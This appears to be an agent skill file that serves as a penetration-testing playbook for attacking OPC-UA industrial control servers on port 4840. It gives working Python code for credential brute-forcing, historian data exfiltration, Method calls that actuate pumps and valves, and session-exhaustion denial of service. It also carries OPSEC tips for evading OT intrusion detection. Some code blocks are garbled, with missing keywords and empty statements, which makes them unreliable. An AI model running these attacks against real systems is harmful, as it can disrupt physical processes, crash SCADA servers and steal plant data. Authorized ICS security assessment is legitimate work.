opcua

name	opcua
description	OPC-UA (TCP 4840) attack playbook — endpoint enumeration, SecurityPolicy mapping, anonymous/weak-auth abuse, address-space browsing and tag read, HistoryRead exfiltration, Method call for control actions, session-exhaustion DoS. Modern IT/OT DMZ convergence protocol replacing legacy fieldbus.
allowed-tools	Bash Read Write
metadata	{"when_to_use":"opc opcua opc-ua 4840 unified architecture ics ot scada getendpoints anonymous asyncua opcua-asyncio discovery node address-space historyread session exhaustion","subdomain":"ics-ot","tags":"opcua, ics, ot, scada, opc-ua","mitre_attack":"T0855, T0846, T0814, T0882"}

OPC-UA Attack Playbook (TCP 4840)

OPC-UA is the dominant modern IT/OT convergence protocol — Siemens, ABB, Rockwell, Honeywell, and most new DCS/SCADA deployments expose it alongside or instead of legacy fieldbus. It supports security (signing + encryption) but many deployments leave SecurityPolicy: None active for "backwards compatibility," giving full unauthenticated access to the address space.

SAFETY FIRST

OPC-UA Method calls can directly invoke control actions (start/stop, setpoint override, firmware update). Confirm written scope authorization before any call to Method nodes or write to Variable nodes. Read-only browsing (BrowseRequest, ReadRequest on status/telemetry nodes) is generally safe.

Prerequisites

# Install asyncua (successor to python-opcua / opcua-asyncio)
pip install asyncua

# Also useful: opcua-client GUI (optional), opcua-scan
pip install opcua-scan
# OR clone Wavestone opcua-scan:
# git clone https://github.com/wavestone-cdt/opcua-scan

# Confirm target reachability
nmap -p 4840 --open -sV 10.0.0.0/24

Phase 1 — Discover

# nmap service banner on 4840
nmap -p 4840 -sV --script=opcua-discovery 10.0.0.5

# OPC UA Hello probe — get the server's application description
# opcua-scan sends a HEL/ACK and reads GetEndpoints without connecting to a session
python3 -m opcuascan 10.0.0.5:4840
# Output includes: ProductName, ApplicationUri, SecurityPolicies, supported UserIdentityTokens

Phase 2 — GetEndpoints (unauthenticated policy enumeration)

GetEndpoints is always available without a session — it's the pre-auth discovery call.

import asyncio
from asyncua import Client

async def get_endpoints():
    url = "opc.tcp://10.0.0.5:4840"
    # Use None security policy — client sends HEL, gets ACK, calls GetEndpoints
    async with Client(url=url) as client:
        endpoints = await client.get_endpoints()
        for ep in endpoints:
            print(f"URL: {ep.EndpointUrl}")
            print(f"  SecurityMode: {ep.SecurityMode}")       # 1=None, 2=Sign, 3=SignAndEncrypt
            print(f"  SecurityPolicy: {ep.SecurityPolicyUri}")
            for tok in ep.UserIdentityTokens:
                print(f"  Token: {tok.TokenType}")  # 0=Anonymous, 1=UserName, 2=Certificate, 3=IssuedToken

asyncio.run(get_endpoints())

Key findings to record:

• SecurityMode: 1 (None) + SecurityPolicy: http://opcfoundation.org/UA/SecurityPolicy#None → plaintext, no signing. Traffic is readable in Wireshark.
• TokenType: 0 (Anonymous) accepted → no credentials needed.
• TokenType: 1 (UserName) present → attempt default/dictionary creds.

Phase 3 — Auth testing

Anonymous connect

import asyncio
from asyncua import Client

async def anon_connect():
    url = "opc.tcp://10.0.0.5:4840/OPCUA/SimulationServer"
    async with Client(url=url) as client:
        # No credentials set — asyncua defaults to Anonymous token
        root = client.get_root_node()
        print("Root node:", await root.read_browse_name())
        # Successful connection here = Anonymous accepted
        server_node = client.get_server_node()
        status = await server_node.get_child(["0:ServerStatus"])
        print("Server status:", await status.read_value())

asyncio.run(anon_connect())

Username/password dictionary attack

import asyncio
from asyncua import Client
from asyncua.ua import uaerrors

DEFAULT_CREDS = [
    ("admin", "admin"), ("administrator", "administrator"),
    ("opcua", "opcua"), ("user", "user"), ("guest", ""),
    ("operator", "operator"), ("root", "root"), ("OpcUaClient", ""),
    ("Anonymous", ""), ("siemens", "siemens"), ("admin", ""),
]

async def brute_opcua(url):
    for user, pwd in DEFAULT_CREDS:
        try:
            async with Client(url=url) as client:
                await client.set_user(user)
                await client.set_password(pwd)
                await client.connect()
                print(f"[+] VALID: {user}:{pwd}")
                return user, pwd
        except uaerrors.BadUserAccessDenied:
            print(f"[-] {user}:{pwd} — denied")
         uaerrors.BadIdentityTokenRejected:
            ()
         Exception  e:
            ()
     , 

asyncio.run(brute_opcua())

Phase 4 — Address-space browsing and tag read

Once authenticated (anonymous or credentialed):

import asyncio
from asyncua import Client, ua

async def browse_and_read(url, depth=3):
    async with Client(url=url) as client:
        # Browse from Objects folder (standard entry point for process data)
        objects = client.get_objects_node()

        async def recurse(node, level=0):
            try:
                children = await node.get_children()
                name = await node.read_browse_name()
                print("  " * level + f"[{name.Name}] NodeId={node.nodeid}")
                for child in children:
                    cls = await child.read_node_class()
                    if cls == ua.NodeClass.Variable:
                        try:
                            val = await child.read_value()
                            cname = await child.read_browse_name()
                            print("  " * (level+1) + f"VAR {cname.Name} = {val}")
                        except Exception:
                            pass
                    if level < depth:
                        await recurse(child, level + 1)
            except Exception  e:
                ( * level + )

         recurse(objects)

asyncio.run(browse_and_read())

Key nodes to target:

• Objects/Server/ServerStatus — build info, start time, current time (always readable, even anonymous)
• Objects/DeviceSet/ or Objects/<VendorNamespace>/ — vendor-specific process variables
• Node class Method — callable control actions (pump start, valve position, firmware upload)

Read ServerStatus for vendor/version fingerprint

async with Client(url=url) as client:
    nsidx = await client.get_namespace_index("http://opcfoundation.org/UA/")
    build_info = await client.nodes.server.get_child(["0:ServerStatus", "0:BuildInfo"])
    product = await build_info.get_child(["0:ProductName"])
    version = await build_info.get_child(["0:SoftwareVersion"])
    print(await product.read_value(), await version.read_value())
    # e.g.: "Prosys OPC UA Simulation Server" "5.4.6"
    # e.g.: "Unified Automation UaGateway" "3.3.0"
    # e.g.: "open62541" "1.3.6"

Phase 5 — HistoryRead (process data exfiltration)

Many historian/SCADA OPC-UA servers expose historical process values via HistoryRead. This can dump weeks of sensor/tag data unauthenticated.

import asyncio
from asyncua import Client, ua
from datetime import datetime, timedelta, timezone

async def history_read(url, node_id_str):
    async with Client(url=url) as client:
        node = client.get_node(node_id_str)  # e.g. "ns=2;s=Temperature"
        end_time = datetime.now(timezone.utc)
        start_time = end_time - timedelta(hours=24)

        result = await client.history_read(
            nodes=[node],
            pe=ua.ReadRawModifiedDetails(
                IsReadModified=False,
                StartTime=start_time,
                EndTime=end_time,
                NumValuesPerNode=1000,
                ReturnBounds=True,
            )
        )
        for dv in result[0].HistoryData.DataValues:
            print(f"  {dv.SourceTimestamp}  {dv.Value.Value}")

asyncio.run(history_read("opc.tcp://10.0.0.5:4840", "ns=2;s=Temperature"))

Phase 6 — Method node calls (write-class, SAFETY GATE)

STOP. Write-class authorization required before executing this phase. Method calls may directly actuate physical equipment.

import asyncio
from asyncua import Client, ua

async def call_method(url, object_node_id, method_node_id, *args):
    """
    Call an OPC UA Method node.
    object_node_id: NodeId of the parent Object (e.g. "ns=2;s=PumpController")
    method_node_id: NodeId of the Method (e.g. "ns=2;s=PumpController.Start")
    """
    async with Client(url=url) as client:
        obj = client.get_node(object_node_id)
        method = client.get_node(method_node_id)
        result = await obj.call_method(method, *args)
        print("Method result:", result)

# Example: call a simulated start method
# asyncio.run(call_method("opc.tcp://10.0.0.5:4840",
#     "ns=2;s=PumpController", "ns=2;s=PumpController.Start"))

Enumeration of available methods (read-only, safe):

async with Client(url=url) as client:
    objects = client.get_objects_node()
    async def find_methods(node, level=0):
        try:
            for child in await node.get_children():
                cls = await child.read_node_class()
                if cls == ua.NodeClass.Method:
                    name = await child.read_browse_name()
                    print("  " * level + f"[METHOD] {name.Name}  NodeId={child.nodeid}")
                elif cls in (ua.NodeClass.Object, ua.NodeClass.ObjectType):
                    if level < 4:
                        await find_methods(child, level + 1)
        except Exception:
            pass
    await find_methods(objects)

Phase 7 — Session exhaustion DoS

CVE-2024-53429 (open62541 <= 1.3.12) and CVE-2025-7390 (Softing OPC UA C++ SDK) involve oversized ExtensionObject / replay leading to server crash or excessive resource consumption. Generic session flooding is applicable to servers with no connection limit:

import asyncio
from asyncua import Client

async def exhaust_sessions(url, count=500):
    """Open many sessions without closing them — exhausts server thread pool / session table."""
    clients = []
    for i in range(count):
        try:
            c = Client(url=url)
            await c.connect()
            clients.append(c)
            if i % 50 == 0:
                print(f"  {i} sessions open")
        except Exception as e:
            print(f"  Session {i} failed: {e} — server may be saturated")
            break
    print(f"Total open sessions: {len(clients)}")
    # Note: gate behind explicit DoS authorization. Leaving sessions open will
    # degrade or crash production servers.
    for c in clients:
        try:
            await c.disconnect()
        except Exception:
            pass

# asyncio.run(exhaust_sessions("opc.tcp://10.0.0.5:4840"))

Gate this behind permitted_actions: denial_of_service. Do not run against production without explicit sign-off.

Common findings

Finding	MITRE	Impact
SecurityPolicy: None accepted	T0882	Full plaintext traffic; passive sniff reveals tag values + credentials
Anonymous access to Objects node	T0855	Read process telemetry without credentials
Anonymous HistoryRead	T0846	Exfiltrate weeks of process historian data
Default credentials (admin/admin)	T0814	Full authenticated access; potential Method call
Method nodes callable without write authorization	T0836	Control actions (pump/valve/setpoint) with no auth barrier
No session limit (DoS via exhaustion)	T0814	Crash or freeze OPC-UA server, disrupting HMI/SCADA polling
Internet-exposed OPC-UA (Shodan: port:4840)	T0882	Direct ICS access from internet

Evidence

On anonymous or credentialed access, persist:

kg_add_node(
    kind="finding",
    label="OPC-UA anonymous access / SecurityPolicy None",
    props={
        "key": f"opcua-anon::{target_ip}",
        "protocol": "opc-ua",
        "port": 4840,
        "security_mode": "None",
        "anonymous_access": True,
        "server_product": "<ProductName>",
        "server_version": "<SoftwareVersion>",
        "nodes_readable": "<count>",
        "source": "asyncua-getendpoints+browse",
    },
)

On credential find:

kg_add_node(
    kind="credential",
    label=f"OPC-UA credential on {target_ip}",
    props={
        "key": f"opcua-cred::{target_ip}",
        "secret_type": "opcua_username",
        "username": user,
        "password": pwd,
        "target": target_ip,
        "port": 4840,
        "source": "opcua-brute",
    },
)

ZFP (two-method evidence)

1. asyncua output showing GetEndpoints response with SecurityMode=1 and/or TokenType=Anonymous.
2. Browse dump listing at least one process Variable node with a read value, OR hashcat-style session log showing valid credential.

OPSEC notes

• GetEndpoints and anonymous Browse generate no auth event in most OPC-UA server logs. Behaviorally quiet.
• Credentialed sessions generate an AuditCreateSessionEvent and AuditActivateSessionEvent in the OPC-UA audit log if the server has AuditingEnabled=True. Check ns=0;i=2994 (AuditingEnabled) before credentialed ops.
• Claroty / Nozomi OT NDR platforms signature-detect OPC-UA anonymous sessions and unusual HistoryRead volumes. Use rate-limiting in enumerate loops.
• CVE-2024-53429 and CVE-2025-7390 crashes are irreversible remotely; check server software version before any DoS testing.
• Physical-safety gate: any Variable write or Method call may affect a physical actuator. Treat all write-class operations as requiring explicit scope authorization.

References

• asyncua docs — github.com/FreeOpcUa/opcua-asyncio
• opcua-scan (Wavestone) — github.com/wavestone-cdt/opcua-scan
• Claroty Team82 OPC-UA research — claroty.com/team82/research/opcua
• arXiv 2003.12341 — "A Systematic Methodology for ICS OPC-UA Security Assessment"
• CVE-2024-53429 — open62541 session handling DoS
• CVE-2025-7390 — Softing OPC UA C++ SDK replay
• ICS-CERT advisories — cisa.gov/uscert/ics/advisories
• OPC Foundation UA Specification Part 2 (Security Model), Part 4 (Services)